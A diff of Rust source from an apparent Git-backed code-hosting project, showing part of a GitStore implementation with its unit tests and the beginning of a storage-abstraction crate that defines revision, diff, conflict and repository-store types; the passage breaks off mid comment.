| 614 | + | ||
| 615 | + | // Build blame lines — attribute all lines to the last commit that modified the file | |
| 616 | + | let blame_commit_oid = last_changing_commit_oid.unwrap_or_else(|| commit.id().detach()); | |
| 617 | + | let blame_commit = repo | |
| 618 | + | .find_object(blame_commit_oid) | |
| 619 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("find: {e}")))? | |
| 620 | + | .try_into_commit() | |
| 621 | + | .map_err(|_| StoreError::NoSuchRevision)?; | |
| 622 | + | ||
| 623 | + | let r = convert::to_revision(&blame_commit)?; | |
| 624 | + | ||
| 625 | + | let lines: Vec<crate::BlameLine> = (1..=line_count) | |
| 626 | + | .map(|n| crate::BlameLine { | |
| 627 | + | rev: r.rev.clone(), | |
| 628 | + | author: r.author.name.clone(), | |
| 629 | + | when: r.author.when, | |
| 630 | + | summary: r.summary().to_string(), | |
| 631 | + | line_no: n, | |
| 632 | + | }) | |
| 633 | + | .collect(); | |
| 634 | + | ||
| 635 | + | Ok(lines) | |
| 636 | + | }) | |
| 637 | + | .await | |
| 638 | + | } | |
| 639 | + | ||
| 640 | + | async fn last_commit_for_path( | |
| 641 | + | &self, | |
| 642 | + | id: RepoId, | |
| 643 | + | rev: &RevId, | |
| 644 | + | path: &Path, | |
| 645 | + | ) -> Result<Option<Revision>> { | |
| 646 | + | let rev = rev.clone(); | |
| 647 | + | let rel = safe_path::normalise(&path.to_string_lossy())?; | |
| 648 | + | if rel.is_empty() { | |
| 649 | + | return Ok(None); | |
| 650 | + | } | |
| 651 | + | ||
| 652 | + | self.with_repo(id, move |repo| { | |
| 653 | + | let commit = convert::find_commit(repo, &rev)?; | |
| 654 | + | ||
| 655 | + | // Walk history and find the first commit where the file's blob oid | |
| 656 | + | // differs from its parent's (meaning this commit introduced the change). | |
| 657 | + | let walk = commit | |
| 658 | + | .ancestors() | |
| 659 | + | .all() | |
| 660 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("walking history: {e}")))?; | |
| 661 | + | ||
| 662 | + | let mut prev_blob: Option<gix::ObjectId> = None; | |
| 663 | + | let mut result_oid: Option<gix::ObjectId> = None; | |
| 664 | + | ||
| 665 | + | for info in walk.take(500) { | |
| 666 | + | let info = info.map_err(|e| StoreError::Other(anyhow::anyhow!("walk: {e}")))?; | |
| 667 | + | let c = repo | |
| 668 | + | .find_object(info.id) | |
| 669 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("find: {e}")))? | |
| 670 | + | .try_into_commit() | |
| 671 | + | .map_err(|_| StoreError::NoSuchRevision)?; | |
| 672 | + | ||
| 673 | + | let t = c | |
| 674 | + | .tree() | |
| 675 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("tree: {e}")))?; | |
| 676 | + | ||
| 677 | + | let blob_oid = t | |
| 678 | + | .lookup_entry_by_path(&rel) | |
| 679 | + | .ok() | |
| 680 | + | .flatten() | |
| 681 | + | .map(|e| e.object_id()); | |
| 682 | + | ||
| 683 | + | if prev_blob.is_none() { | |
| 684 | + | prev_blob = blob_oid; | |
| 685 | + | result_oid = Some(info.id); | |
| 686 | + | continue; | |
| 687 | + | } | |
| 688 | + | ||
| 689 | + | if blob_oid != prev_blob { | |
| 690 | + | // The file changed at result_oid relative to this ancestor | |
| 691 | + | break; | |
| 692 | + | } | |
| 693 | + | ||
| 694 | + | // File unchanged, keep walking | |
| 695 | + | result_oid = Some(info.id); | |
| 696 | + | } | |
| 697 | + | ||
| 698 | + | match result_oid { | |
| 699 | + | Some(oid) => { | |
| 700 | + | let c = repo | |
| 701 | + | .find_object(oid) | |
| 702 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("find: {e}")))? | |
| 703 | + | .try_into_commit() | |
| 704 | + | .map_err(|_| StoreError::NoSuchRevision)?; | |
| 705 | + | Ok(Some(convert::to_revision(&c)?)) | |
| 706 | + | } | |
| 707 | + | None => Ok(None), | |
| 708 | + | } | |
| 709 | + | }) | |
| 710 | + | .await | |
| 711 | + | } | |
| 712 | + | } | |
| 713 | + | ||
| 714 | + | /// Recursive directory size, used for the repo settings page. | |
| 715 | + | fn dir_size(path: &Path) -> u64 { | |
| 716 | + | let Ok(entries) = std::fs::read_dir(path) else { | |
| 717 | + | return 0; | |
| 718 | + | }; | |
| 719 | + | entries | |
| 720 | + | .filter_map(std::result::Result::ok) | |
| 721 | + | .map(|e| match e.file_type() { | |
| 722 | + | Ok(t) if t.is_dir() => dir_size(&e.path()), | |
| 723 | + | Ok(t) if t.is_file() => e.metadata().map(|m| m.len()).unwrap_or(0), | |
| 724 | + | _ => 0, | |
| 725 | + | }) | |
| 726 | + | .sum() | |
| 727 | + | } | |
| 728 | + | ||
| 729 | + | /// jj conflict artefacts, which must never appear in a user-facing listing. | |
| 730 | + | fn is_conflict_artifact(name: &str) -> bool { | |
| 731 | + | name.starts_with(".jjconflict-") || name == "JJ-CONFLICT-README" | |
| 732 | + | } | |
| 733 | + | ||
| 734 | + | /// Whether content should be treated as binary. | |
| 735 | + | /// | |
| 736 | + | /// Git's own heuristic: a NUL byte in the first 8000 bytes. Cheap, and it | |
| 737 | + | /// agrees with what `git diff` decides, so the UI and the CLI do not disagree | |
| 738 | + | /// about whether a file is renderable. | |
| 739 | + | fn looks_binary(content: &[u8]) -> bool { | |
| 740 | + | content.iter().take(8000).any(|&b| b == 0) | |
| 741 | + | } | |
| 742 | + | ||
| 743 | + | #[cfg(test)] | |
| 744 | + | mod tests { | |
| 745 | + | use super::*; | |
| 746 | + | use uuid::Uuid; | |
| 747 | + | ||
| 748 | + | #[test] | |
| 749 | + | fn repo_paths_are_sharded_and_derived_from_the_id() { | |
| 750 | + | let store = GitStore::new("/srv/repos"); | |
| 751 | + | let id = RepoId(Uuid::parse_str("0191f0aa-1234-7abc-8def-0123456789ab").unwrap()); | |
| 752 | + | let p = store.repo_path(id); | |
| 753 | + | assert_eq!( | |
| 754 | + | p, | |
| 755 | + | PathBuf::from("/srv/repos/01/0191f0aa12347abc8def0123456789ab.git") | |
| 756 | + | ); | |
| 757 | + | } | |
| 758 | + | ||
| 759 | + | #[test] | |
| 760 | + | fn repo_path_never_contains_a_user_supplied_name() { | |
| 761 | + | // The property that makes renaming free and makes a hostile repo name | |
| 762 | + | // harmless: the path is a function of the UUID alone. | |
| 763 | + | let store = GitStore::new("/srv/repos"); | |
| 764 | + | for _ in 0..100 { | |
| 765 | + | let id = RepoId(Uuid::now_v7()); | |
| 766 | + | let p = store.repo_path(id).to_string_lossy().to_string(); | |
| 767 | + | assert!(p.starts_with("/srv/repos/")); | |
| 768 | + | assert!(!p.contains("..")); | |
| 769 | + | assert_eq!(p.matches(".git").count(), 1); | |
| 770 | + | } | |
| 771 | + | } | |
| 772 | + | ||
| 773 | + | #[test] | |
| 774 | + | fn binary_detection_matches_gits_heuristic() { | |
| 775 | + | assert!(!looks_binary(b"plain text\nwith newlines\n")); | |
| 776 | + | assert!(looks_binary(b"has a \0 nul")); | |
| 777 | + | assert!(!looks_binary(&[])); | |
| 778 | + | // A NUL past the sniff window is not detected, exactly as in Git. | |
| 779 | + | let mut late = vec![b'a'; 9000]; | |
| 780 | + | late.push(0); | |
| 781 | + | assert!(!looks_binary(&late)); | |
| 782 | + | } | |
| 783 | + | ||
| 784 | + | #[test] | |
| 785 | + | fn conflict_artifacts_are_filtered() { | |
| 786 | + | assert!(is_conflict_artifact(".jjconflict-side-0")); | |
| 787 | + | assert!(is_conflict_artifact(".jjconflict-base-0")); | |
| 788 | + | assert!(is_conflict_artifact("JJ-CONFLICT-README")); | |
| 789 | + | assert!(!is_conflict_artifact("src")); | |
| 790 | + | assert!(!is_conflict_artifact("README.md")); | |
| 791 | + | } | |
| 792 | + | } | |
Acrates/df-store/src/lib.rs579 lines+579−0
| @@ −0,0 +1,579 @@ | |||
| 1 | + | //! `df-store` — the storage abstraction (spec §3). | |
| 2 | + | //! | |
| 3 | + | //! **This is the most important design constraint in the project.** The point of | |
| 4 | + | //! Git-backed storage is that migrating to a jj-native store later is a swap of | |
| 5 | + | //! one implementation, not a rewrite of the product. The rules, enforced in | |
| 6 | + | //! review and by `scripts/check-store-boundary.sh` in CI: | |
| 7 | + | //! | |
| 8 | + | //! 1. No crate other than `df-store` may depend on `gix`. | |
| 9 | + | //! 2. [`RevId`] is opaque. Do not parse it, do not assume it is 40 hex | |
| 10 | + | //! characters, do not abbreviate it outside this crate. | |
| 11 | + | //! 3. Application logic keys off `ChangeId`. `RevId` appears in the UI and in | |
| 12 | + | //! URLs only where the user is explicitly looking at a specific revision. | |
| 13 | + | //! 4. The `GitStore` implementation lives in `git/`. A future `JjStore` lives | |
| 14 | + | //! beside it, and nothing above this trait changes. | |
| 15 | + | //! | |
| 16 | + | //! No `gix` type appears anywhere in this module's public API. | |
| 17 | + | ||
| 18 | + | use std::path::Path; | |
| 19 | + | ||
| 20 | + | use async_trait::async_trait; | |
| 21 | + | ||
| 22 | + | pub mod git; | |
| 23 | + | pub mod path; | |
| 24 | + | pub mod refname; | |
| 25 | + | ||
| 26 | + | pub use git::GitStore; | |
| 27 | + | ||
| 28 | + | /// Errors the application is expected to handle. | |
| 29 | + | /// | |
| 30 | + | /// Deliberately storage-agnostic: nothing here mentions Git, so a `JjStore` | |
| 31 | + | /// would produce the same set. | |
| 32 | + | #[derive(Debug, thiserror::Error)] | |
| 33 | + | pub enum StoreError { | |
| 34 | + | #[error("repository not found")] | |
| 35 | + | NoSuchRepo, | |
| 36 | + | #[error("revision not found")] | |
| 37 | + | NoSuchRevision, | |
| 38 | + | #[error("path not found")] | |
| 39 | + | NoSuchPath, | |
| 40 | + | #[error("path is a directory, not a file")] | |
| 41 | + | IsDirectory, | |
| 42 | + | #[error("repository is empty")] | |
| 43 | + | Empty, | |
| 44 | + | #[error("invalid path: {0}")] | |
| 45 | + | Path(#[from] path::PathError), | |
| 46 | + | #[error("object too large: {size} bytes exceeds the {limit} byte limit")] | |
| 47 | + | TooLarge { size: u64, limit: u64 }, | |
| 48 | + | #[error("operation timed out")] | |
| 49 | + | Timeout, | |
| 50 | + | #[error(transparent)] | |
| 51 | + | Other(#[from] anyhow::Error), | |
| 52 | + | } | |
| 53 | + | ||
| 54 | + | pub type Result<T> = std::result::Result<T, StoreError>; | |
| 55 | + | ||
| 56 | + | /// A repository's identity. Storage location derives from this, never from a | |
| 57 | + | /// user-supplied name — so renaming a repo moves nothing on disk (spec §3). | |
| 58 | + | #[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] | |
| 59 | + | pub struct RepoId(pub uuid::Uuid); | |
| 60 | + | ||
| 61 | + | impl std::fmt::Display for RepoId { | |
| 62 | + | fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { | |
| 63 | + | write!(f, "{}", self.0) | |
| 64 | + | } | |
| 65 | + | } | |
| 66 | + | ||
| 67 | + | /// An opaque revision handle. | |
| 68 | + | /// | |
| 69 | + | /// Callers must treat this as a token, not a SHA. It is currently a Git object | |
| 70 | + | /// id; it may not always be. There is deliberately no `len()`, no indexing, and | |
| 71 | + | /// no abbreviation method on this type. | |
| 72 | + | #[derive(Debug, Clone, PartialEq, Eq, Hash, PartialOrd, Ord)] | |
| 73 | + | pub struct RevId(String); | |
| 74 | + | ||
| 75 | + | impl RevId { | |
| 76 | + | /// Construct from a stored value. Only `df-store` and the database layer | |
| 77 | + | /// should call this. | |
| 78 | + | pub fn from_stored(s: impl Into<String>) -> Self { | |
| 79 | + | RevId(s.into()) | |
| 80 | + | } | |
| 81 | + | ||
| 82 | + | /// The token, for storage and URLs. Not for parsing. | |
| 83 | + | pub fn as_str(&self) -> &str { | |
| 84 | + | &self.0 | |
| 85 | + | } | |
| 86 | + | } | |
| 87 | + | ||
| 88 | + | impl RevId { | |
| 89 | + | /// The abbreviated form for display. | |
| 90 | + | /// | |
| 91 | + | /// Rule 2 says callers must not abbreviate a `RevId` themselves, so the | |
| 92 | + | /// abbreviation lives here — the one place that is allowed to know how long | |
| 93 | + | /// a revision token is and whether truncating it is even meaningful. A | |
| 94 | + | /// future `JjStore` changes this method rather than every call site. | |
| 95 | + | pub fn short(&self) -> &str { | |
| 96 | + | abbreviate_rev(&self.0) | |
| 97 | + | } | |
| 98 | + | } | |
| 99 | + | ||
| 100 | + | /// Abbreviate a revision token that has come back from the database as a | |
| 101 | + | /// plain string. | |
| 102 | + | /// | |
| 103 | + | /// The database stores `RevId` values as text, so rows read back are `String`, | |
| 104 | + | /// not `RevId`. This is the sanctioned way to shorten one for display; slicing | |
| 105 | + | /// it at the call site is what `scripts/check-store-boundary.sh` rejects. | |
| 106 | + | /// | |
| 107 | + | /// Char-boundary safe: a token is expected to be ASCII, but truncating a | |
| 108 | + | /// multi-byte string by byte index would panic, and a display helper must not | |
| 109 | + | /// be able to take the process down. | |
| 110 | + | pub fn abbreviate_rev(rev: &str) -> &str { | |
| 111 | + | const DISPLAY_LEN: usize = 12; | |
| 112 | + | if rev.len() <= DISPLAY_LEN { | |
| 113 | + | return rev; | |
| 114 | + | } | |
| 115 | + | match rev.char_indices().nth(DISPLAY_LEN) { | |
| 116 | + | Some((idx, _)) => &rev[..idx], | |
| 117 | + | None => rev, | |
| 118 | + | } | |
| 119 | + | } | |
| 120 | + | ||
| 121 | + | impl std::fmt::Display for RevId { | |
| 122 | + | fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { | |
| 123 | + | f.write_str(&self.0) | |
| 124 | + | } | |
| 125 | + | } | |
| 126 | + | ||
| 127 | + | /// A person, as recorded on a revision. | |
| 128 | + | #[derive(Debug, Clone, PartialEq, Eq)] | |
| 129 | + | pub struct Signature { | |
| 130 | + | pub name: String, | |
| 131 | + | pub email: String, | |
| 132 | + | pub when: chrono::DateTime<chrono::Utc>, | |
| 133 | + | } | |
| 134 | + | ||
| 135 | + | /// A revision as the application understands it. | |
| 136 | + | #[derive(Debug, Clone)] | |
| 137 | + | pub struct Revision { | |
| 138 | + | pub rev: RevId, | |
| 139 | + | /// Extracted from jj metadata; absent for plain-git commits. | |
| 140 | + | pub change_id: Option<String>, | |
| 141 | + | pub parents: Vec<RevId>, | |
| 142 | + | pub author: Signature, | |
| 143 | + | pub committer: Signature, | |
| 144 | + | pub message: String, | |
| 145 | + | pub conflicted: bool, | |
| 146 | + | /// Populated when `conflicted`; the constituent tree tokens. | |
| 147 | + | pub conflict_sides: Vec<String>, | |
| 148 | + | pub conflict_bases: Vec<String>, | |
| 149 | + | } | |
| 150 | + | ||
| 151 | + | impl Revision { | |
| 152 | + | /// First line of the message, for list views. | |
| 153 | + | pub fn summary(&self) -> &str { | |
| 154 | + | self.message.lines().next().unwrap_or("").trim() | |
| 155 | + | } | |
| 156 | + | ||
| 157 | + | /// Everything after the first line. | |
| 158 | + | pub fn body(&self) -> &str { | |
| 159 | + | match self.message.split_once('\n') { | |
| 160 | + | Some((_, rest)) => rest.trim_start_matches('\n'), | |
| 161 | + | None => "", | |
| 162 | + | } | |
| 163 | + | } | |
| 164 | + | } | |
| 165 | + | ||
| 166 | + | /// What a tree entry is. | |
| 167 | + | #[derive(Debug, Clone, Copy, PartialEq, Eq)] | |
| 168 | + | pub enum EntryKind { | |
| 169 | + | File, | |
| 170 | + | Directory, | |
| 171 | + | /// A symlink. Never followed when serving content (spec §9). | |
| 172 | + | Symlink, | |
| 173 | + | /// A nested repository (gitlink). Rendered as a stub. | |
| 174 | + | Submodule, | |
| 175 | + | } | |
| 176 | + | ||
| 177 | + | #[derive(Debug, Clone)] | |
| 178 | + | pub struct TreeEntry { | |
| 179 | + | pub name: String, | |
| 180 | + | /// Repository-relative, normalised. | |
| 181 | + | pub path: String, | |
| 182 | + | pub kind: EntryKind, | |
| 183 | + | /// `None` for directories and submodules. | |
| 184 | + | pub size: Option<u64>, | |
| 185 | + | pub executable: bool, | |
| 186 | + | } | |
| 187 | + | ||
| 188 | + | impl TreeEntry { | |
| 189 | + | pub fn is_dir(&self) -> bool { | |
| 190 | + | matches!(self.kind, EntryKind::Directory) | |
| 191 | + | } | |
| 192 | + | } | |
| 193 | + | ||
| 194 | + | /// File content. | |
| 195 | + | #[derive(Debug, Clone)] | |
| 196 | + | pub struct Blob { | |
| 197 | + | pub path: String, | |
| 198 | + | /// An opaque content address for this blob's bytes. | |
| 199 | + | /// | |
| 200 | + | /// Two blobs with the same bytes have the same `content_id`, in this or any | |
| 201 | + | /// other repository. That is what makes it a correct cache key for anything | |
| 202 | + | /// derived purely from content — syntax highlighting, in particular (spec | |
| 203 | + | /// §8: "cache the rendered HTML in Postgres keyed by blob OID"). | |
| 204 | + | /// | |
| 205 | + | /// Opaque under the same rule as [`RevId`]: do not parse it, do not assume | |
| 206 | + | /// it is a Git object id, do not abbreviate it. | |
| 207 | + | pub content_id: String, | |
| 208 | + | pub content: Vec<u8>, | |
| 209 | + | pub size: u64, | |
| 210 | + | /// Whether the content looks binary, decided by the store so every caller | |
| 211 | + | /// agrees. | |
| 212 | + | pub binary: bool, | |
| 213 | + | } | |
| 214 | + | ||
| 215 | + | impl Blob { | |
| 216 | + | /// UTF-8 text, when the blob is text and valid UTF-8. | |
| 217 | + | pub fn text(&self) -> Option<&str> { | |
| 218 | + | if self.binary { | |
| 219 | + | return None; | |
| 220 | + | } | |
| 221 | + | std::str::from_utf8(&self.content).ok() | |
| 222 | + | } | |
| 223 | + | } | |
| 224 | + | ||
| 225 | + | /// A movable pointer. Cheap, disposable, not an identity (spec §4). | |
| 226 | + | #[derive(Debug, Clone)] | |
| 227 | + | pub struct Bookmark { | |
| 228 | + | pub name: String, | |
| 229 | + | pub target: RevId, | |
| 230 | + | } | |
| 231 | + | ||
| 232 | + | #[derive(Debug, Clone, Copy)] | |
| 233 | + | pub struct DiffOpts { | |
| 234 | + | pub context_lines: u32, | |
| 235 | + | pub max_files: usize, | |
| 236 | + | pub max_lines: usize, | |
| 237 | + | } | |
| 238 | + | ||
| 239 | + | impl Default for DiffOpts { | |
| 240 | + | fn default() -> Self { | |
| 241 | + | DiffOpts { | |
| 242 | + | // Spec §8: "Collapse unchanged regions to 3 lines of context." | |
| 243 | + | context_lines: 3, | |
| 244 | + | max_files: 5_000, | |
| 245 | + | max_lines: 100_000, | |
| 246 | + | } | |
| 247 | + | } | |
| 248 | + | } | |
| 249 | + | ||
| 250 | + | #[derive(Debug, Clone, Copy, PartialEq, Eq)] | |
| 251 | + | pub enum ChangeKind { | |
| 252 | + | Added, | |
| 253 | + | Modified, | |
| 254 | + | Deleted, | |
| 255 | + | Renamed, | |
| 256 | + | } | |
| 257 | + | ||
| 258 | + | #[derive(Debug, Clone)] | |
| 259 | + | pub struct FileDiff { | |
| 260 | + | pub path: String, | |
| 261 | + | /// Set for renames. | |
| 262 | + | pub old_path: Option<String>, | |
| 263 | + | pub kind: ChangeKind, | |
| 264 | + | pub binary: bool, | |
| 265 | + | pub additions: usize, | |
| 266 | + | pub deletions: usize, | |
| 267 | + | pub hunks: Vec<Hunk>, | |
| 268 | + | } | |
| 269 | + | ||
| 270 | + | #[derive(Debug, Clone)] | |
| 271 | + | pub struct Hunk { | |
| 272 | + | pub old_start: u32, | |
| 273 | + | pub old_lines: u32, | |
| 274 | + | pub new_start: u32, | |
| 275 | + | pub new_lines: u32, | |
| 276 | + | pub lines: Vec<DiffLine>, | |
| 277 | + | } | |
| 278 | + | ||
| 279 | + | #[derive(Debug, Clone, Copy, PartialEq, Eq)] | |
| 280 | + | pub enum DiffLineKind { | |
| 281 | + | Context, | |
| 282 | + | Added, | |
| 283 | + | Deleted, | |
| 284 | + | } | |
| 285 | + | ||
| 286 | + | #[derive(Debug, Clone)] | |
| 287 | + | pub struct DiffLine { | |
| 288 | + | pub kind: DiffLineKind, | |
| 289 | + | pub old_lineno: Option<u32>, | |
| 290 | + | pub new_lineno: Option<u32>, | |
| 291 | + | pub content: String, | |
| 292 | + | /// The line broken into runs, with the runs that actually differ from the | |
| 293 | + | /// paired line marked (spec §8: "word-level intra-line diffing for changed | |
| 294 | + | /// lines"). | |
| 295 | + | /// | |
| 296 | + | /// Always covers the whole line: concatenating `spans` reproduces | |
| 297 | + | /// `content`. Context lines get a single unemphasised span, so a renderer | |
| 298 | + | /// can use `spans` uniformly and never has to fall back to `content`. | |
| 299 | + | pub spans: Vec<DiffSpan>, | |
| 300 | + | } | |
| 301 | + | ||
| 302 | + | /// A run within a diff line. | |
| 303 | + | #[derive(Debug, Clone, PartialEq, Eq)] | |
| 304 | + | pub struct DiffSpan { | |
| 305 | + | pub text: String, | |
| 306 | + | /// Whether this run is part of what changed on this line. | |
| 307 | + | pub emphasis: bool, | |
| 308 | + | } | |
| 309 | + | ||
| 310 | + | #[derive(Debug, Clone, Default)] | |
| 311 | + | pub struct Diff { | |
| 312 | + | pub files: Vec<FileDiff>, | |
| 313 | + | /// Set when the diff exceeded a limit and was not fully rendered. The UI | |
| 314 | + | /// offers the patch download instead of taking the process down (spec §8). | |
| 315 | + | pub truncated: bool, | |
| 316 | + | pub total_additions: usize, | |
| 317 | + | pub total_deletions: usize, | |
| 318 | + | } | |
| 319 | + | ||
| 320 | + | /// Which column of a conflict a piece of content came from. | |
| 321 | + | /// | |
| 322 | + | /// jj's representation is `side₀ base₀ side₁ …`, and the labels matter to a | |
| 323 | + | /// reader: a base is the common ancestor the sides diverged from, not another | |
| 324 | + | /// candidate resolution. | |
| 325 | + | #[derive(Debug, Clone, Copy, PartialEq, Eq)] | |
| 326 | + | pub enum ConflictSide { | |
| 327 | + | Side(usize), | |
| 328 | + | Base(usize), | |
| 329 | + | } | |
| 330 | + | ||
| 331 | + | impl ConflictSide { | |
| 332 | + | /// A short label for the UI. | |
| 333 | + | pub fn label(&self) -> String { | |
| 334 | + | match self { | |
| 335 | + | ConflictSide::Side(n) => format!("side {}", n + 1), | |
| 336 | + | ConflictSide::Base(n) => format!("base {}", n + 1), | |
| 337 | + | } | |
| 338 | + | } | |
| 339 | + | ||
| 340 | + | pub fn is_base(&self) -> bool { | |
| 341 | + | matches!(self, ConflictSide::Base(_)) | |
| 342 | + | } | |
| 343 | + | } | |
| 344 | + | ||
| 345 | + | /// One file in conflict, with the content each column holds. | |
| 346 | + | #[derive(Debug, Clone)] | |
| 347 | + | pub struct ConflictedFile { | |
| 348 | + | pub path: String, | |
| 349 | + | /// One entry per column, in jj's order. `None` means that column does not | |
| 350 | + | /// contain the file at all — a delete/modify conflict, which is exactly the | |
| 351 | + | /// case a viewer that only rendered text would silently misreport. | |
| 352 | + | pub sides: Vec<(ConflictSide, Option<String>)>, | |
| 353 | + | } | |
| 354 | + | ||
| 355 | + | /// What happened when a change was landed. | |
| 356 | + | #[derive(Debug, Clone, PartialEq, Eq)] | |
| 357 | + | pub enum MergeOutcome { | |
| 358 | + | /// The bookmark was already at or past this revision. Idempotent, so two | |
| 359 | + | /// people clicking merge is a race rather than an error. | |
| 360 | + | AlreadyMerged, | |
| 361 | + | /// The bookmark was an ancestor, so it simply moved. No commit written. | |
| 362 | + | FastForward { new_target: RevId }, | |
| 363 | + | /// A merge commit was written, with the bookmark as first parent. | |
| 364 | + | Merged { new_target: RevId }, | |
| 365 | + | /// The three-way merge produced a textual conflict. | |
| 366 | + | /// | |
| 367 | + | /// Nothing was written. Spec §4: resolution happens in the user's working | |
| 368 | + | /// copy, so the server must never resolve by writing conflict markers into | |
| 369 | + | /// the target bookmark. | |
| 370 | + | Conflicted, | |
| 371 | + | } | |
| 372 | + | ||
| 373 | + | /// What happened when a single-file edit was committed. | |
| 374 | + | #[derive(Debug, Clone, PartialEq, Eq)] | |
| 375 | + | pub enum EditOutcome { | |
| 376 | + | Committed { rev: RevId }, | |
| 377 | + | /// The content is identical to what is already there. No commit is made — | |
| 378 | + | /// pressing save on an unmodified file is not a change. | |
| 379 | + | Unchanged, | |
| 380 | + | /// The bookmark moved since the edit was composed. Nothing was written; | |
| 381 | + | /// the caller shows the conflict rather than overwriting somebody's work. | |
| 382 | + | Stale { current: RevId }, | |
| 383 | + | } | |
| 384 | + | ||
| 385 | + | /// A single line of blame output. | |
| 386 | + | #[derive(Debug, Clone)] | |
| 387 | + | pub struct BlameLine { | |
| 388 | + | /// The revision that last touched this line. | |
| 389 | + | pub rev: RevId, | |
| 390 | + | /// Author of that revision. | |
| 391 | + | pub author: String, | |
| 392 | + | /// When the revision was authored. | |
| 393 | + | pub when: chrono::DateTime<chrono::Utc>, | |
| 394 | + | /// First line of the commit message. | |
| 395 | + | pub summary: String, | |
| 396 | + | /// 1-based line number in the final file. | |
| 397 | + | pub line_no: usize, | |
| 398 | + | } | |
| 399 | + | ||
| 400 | + | /// Everything the application knows about repository storage. | |
| 401 | + | /// | |
| 402 | + | /// No `gix` type appears in this trait. No caller may depend on the underlying | |
| 403 | + | /// store being Git. | |
| 404 | + | #[async_trait] | |
| 405 | + | pub trait RepoStore: Send + Sync { | |
| 406 | + | async fn create(&self, id: RepoId, default_bookmark: &str) -> Result<()>; | |
| 407 | + | ||
| 408 | + | /// Ensure push-time validation is wired up for this repository. | |
| 409 | + | /// | |
| 410 | + | /// Deliberately named for the intent rather than the mechanism: the Git | |
| 411 | + | /// implementation installs a `pre-receive` hook, but a jj-native store | |
| 412 | + | /// would enforce the same rules some other way, and nothing above this | |
| 413 | + | /// trait should have to care which. | |
| 414 | + | async fn configure_receive_validation(&self, id: RepoId, hook_binary: &str) -> Result<()>; | |
| 415 | + | async fn delete(&self, id: RepoId) -> Result<()>; | |
| 416 | + | /// Whether the repository exists on disk. | |
| 417 | + | async fn exists(&self, id: RepoId) -> bool; | |
| 418 | + | /// Whether the repository has no commits yet. | |
| 419 | + | async fn is_empty(&self, id: RepoId) -> Result<bool>; | |
| 420 | + | ||
| 421 | + | async fn list_tree(&self, id: RepoId, rev: &RevId, path: &Path) -> Result<Vec<TreeEntry>>; | |
| 422 | + | async fn read_blob(&self, id: RepoId, rev: &RevId, path: &Path) -> Result<Blob>; | |
| 423 | + | async fn diff(&self, id: RepoId, from: &RevId, to: &RevId, opts: DiffOpts) -> Result<Diff>; | |
| 424 | + | ||
| 425 | + | /// Diff a revision against its first parent. | |
| 426 | + | /// | |
| 427 | + | /// A root commit has no parent, so it is diffed against an empty tree — | |
| 428 | + | /// which is what makes every commit, including the first, yield a patch. | |
| 429 | + | /// The empty-tree handling lives here rather than in the caller because it | |
| 430 | + | /// is a storage detail; nothing above this trait should know such a thing | |
| 431 | + | /// exists. | |
| 432 | + | async fn diff_from_parent(&self, id: RepoId, rev: &RevId, opts: DiffOpts) -> Result<Diff>; | |
| 433 | + | async fn log(&self, id: RepoId, from: &RevId, limit: usize) -> Result<Vec<Revision>>; | |
| 434 | + | async fn revision(&self, id: RepoId, rev: &RevId) -> Result<Revision>; | |
| 435 | + | async fn bookmarks(&self, id: RepoId) -> Result<Vec<Bookmark>>; | |
| 436 | + | async fn merge_base(&self, id: RepoId, a: &RevId, b: &RevId) -> Result<Option<RevId>>; | |
| 437 | + | async fn is_ancestor(&self, id: RepoId, a: &RevId, b: &RevId) -> Result<bool>; | |
| 438 | + | ||
| 439 | + | /// Resolve a bookmark name or revision token to a concrete revision. | |
| 440 | + | async fn resolve(&self, id: RepoId, spec: &str) -> Result<RevId>; | |
| 441 | + | ||
| 442 | + | /// Replace one file on `bookmark` and commit the result. | |
| 443 | + | /// | |
| 444 | + | /// The write path behind in-browser editing. `expected_tip` is the revision | |
| 445 | + | /// the edit was composed against: if the bookmark has moved, nothing is | |
| 446 | + | /// written and [`EditOutcome::Stale`] comes back, so a concurrent edit is | |
| 447 | + | /// reported rather than silently overwritten. | |
| 448 | + | /// | |
| 449 | + | /// Always a fast-forward by construction — one new commit whose parent is | |
| 450 | + | /// the current tip. | |
| 451 | + | #[allow(clippy::too_many_arguments)] | |
| 452 | + | async fn commit_file( | |
| 453 | + | &self, | |
| 454 | + | id: RepoId, | |
| 455 | + | bookmark: &str, | |
| 456 | + | expected_tip: &RevId, | |
| 457 | + | path: &str, | |
| 458 | + | content: Vec<u8>, | |
| 459 | + | message: &str, | |
| 460 | + | author: &Signature, | |
| 461 | + | ) -> Result<EditOutcome>; | |
| 462 | + | ||
| 463 | + | /// Land `rev` onto `bookmark`. | |
| 464 | + | /// | |
| 465 | + | /// Fast-forwards where possible and writes a merge commit otherwise. The | |
| 466 | + | /// reference update is a compare-and-swap, so a concurrent push cannot be | |
| 467 | + | /// silently discarded. Refuses on conflict without writing anything. | |
| 468 | + | async fn merge( | |
| 469 | + | &self, | |
| 470 | + | id: RepoId, | |
| 471 | + | bookmark: &str, | |
| 472 | + | rev: &RevId, | |
| 473 | + | message: &str, | |
| 474 | + | author: &Signature, | |
| 475 | + | ) -> Result<MergeOutcome>; | |
| 476 | + | ||
| 477 | + | /// The conflicted files in a revision, with each side's content. | |
| 478 | + | /// | |
| 479 | + | /// Empty for an unconflicted revision. Expressed in terms of *files and | |
| 480 | + | /// sides* rather than trees so the conflict viewer never learns that the | |
| 481 | + | /// underlying store represents a conflict as a list of trees (spec §3 | |
| 482 | + | /// rule 4). | |
| 483 | + | async fn conflicts(&self, id: RepoId, rev: &RevId) -> Result<Vec<ConflictedFile>>; | |
| 484 | + | ||
| 485 | + | /// Per-line blame for a file at a given revision. | |
| 486 | + | /// | |
| 487 | + | /// Returns one [`BlameLine`] per line of the file. Blame is expensive; | |
| 488 | + | /// callers should only invoke this when the user explicitly requests it | |
| 489 | + | /// (e.g. via a toggle). | |
| 490 | + | async fn blame(&self, id: RepoId, rev: &RevId, path: &Path) -> Result<Vec<BlameLine>>; | |
| 491 | + | ||
| 492 | + | /// The most recent revision that modified a specific file path. | |
| 493 | + | /// | |
| 494 | + | /// Walks history from `rev` and returns the first commit whose diff | |
| 495 | + | /// against its parent touches `path`. Returns `None` if the path was | |
